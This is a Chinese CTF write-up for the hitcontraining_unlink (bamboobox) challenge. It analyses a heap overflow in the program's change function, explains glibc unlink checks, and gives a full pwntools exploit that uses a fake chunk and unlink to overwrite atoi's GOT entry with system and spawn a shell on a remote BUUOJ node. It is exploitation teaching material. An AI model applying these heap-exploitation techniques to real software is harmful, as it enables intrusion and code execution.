hitcontraining_unlink

hitcontraining_unlink

ulink

# hitcontraining_unlink

# 程序分析

检查:64 位程序,开了 NX 和 canary

image-20220119195523133

image-20220119200216108

存在 magic 函数(实际上并没什么用)

image-20220119200403815

查看主函数及各菜单功能

image-20220119195845261

show()

image-20220119195819384

add()

image-20220119195919396

change()

image-20220119195949766

在 change_item () 函数中并没有对输入的内容 size 进行检查,存在堆溢出

remove()

image-20220119200014470

# 思路

unlink 基本知识

新版 unlink 要求

// 由于 P 已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致 (size 检查)
if (__builtin_expect (chunksize§ != prev_size (next_chunk§), 0))
malloc_printerr (“corrupted size vs. prev_size”); \

// 检查 fd 和 bk 指针 (双向链表完整性检查)
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, “corrupted double-linked list”, P, AV); \

//largebin 中 next_size 双向链表完整性检查
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr (check_action,
“corrupted double-linked list (not small)”,
P, AV);

利用思路:

  • 构造 fake_chunk
  • 通过 unlink,把 chunk 移到存储 chunk 指针的内存处
  • 覆盖 chunk 0 指针为 atoi@got 表地址并泄露
  • 覆盖 atoi 的 got 表为 system 函数地址。
  • 给出参数 ‘/bin/sh’,调用 atoi 函数拿 shell。

# EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#coding:utf-8
from pwn import *
context.log_level = 'debug'
r = remote('node4.buuoj.cn',27663)
# r=process('./bamboobox')
elf = ELF('./bamboobox')
libc = ELF('./libc-2.23.so')

def add(length,name):
r.recvuntil(":")
r.sendline('2')
r.recvuntil(':')
r.sendline(str(length))
r.recvuntil(":")
r.sendline(name)

def edit(idx,length,name):
r.recvuntil(':')
r.sendline('3')
r.recvuntil(":")
r.sendline(str(idx))
r.recvuntil(":")
r.sendline(str(length))
r.recvuntil(':')
r.sendline(name)

def delete(idx):
r.recvuntil(":")
r.sendline("4")
r.recvuntil(":")
r.sendline(str(idx))

def show():
r.recvuntil(":")
r.sendline("1")

add(0x40,'aaaaaaaa')
add(0x80,'bbbbbbbb')
add(0x80,'cccccccc')
#gdb.attach(r)

ptr = 0x6020C8 #存放chunk指针的数组在bss段上的地址
#这里我们绕过第一个检查 (检查p和其前后的chunk是否构成双向链表)
fake_chunk = p64(0) + p64(0x41) #fake_chunk header
fake_chunk += p64(ptr-0x18) + p64(ptr-0x10) #fake_chunk fd bk
fake_chunk += 'C'*0x20
fake_chunk += p64(0x40) # 1的presize
fake_chunk += p64(0x90) # 1的size
edit(0,0x80,fake_chunk)


delete(1) #前向合并,合并0中的fake_chunk 放入 unsorted bin 中 ,同时 ptr = &itemlist0_ptr -0x18

payload = p64(0) * 2
payload += p64(0x40) + p64(elf.got['atoi']) #覆盖的itemlist[0]->ptr 为atoi_got
edit(0,0x80,payload)

show()
r.recvuntil('0 : ')
atoi = u64(r.recv(6).ljust(8,'\x00'))
libc_base = atoi - libc.symbols['atoi']
system = libc_base + libc.symbols['system']
edit(0,8,p64(system))
r.sendlineafter('Your choice:','/bin/sh\x00')

r.interactive()

# 参考文章

https://blog.csdn.net/mcmuyanga/article/details/113105091

Author

y1seco

Posted on

2022-01-19

Updated on

2022-01-19

Licensed under

Comments

:D 一言句子获取中...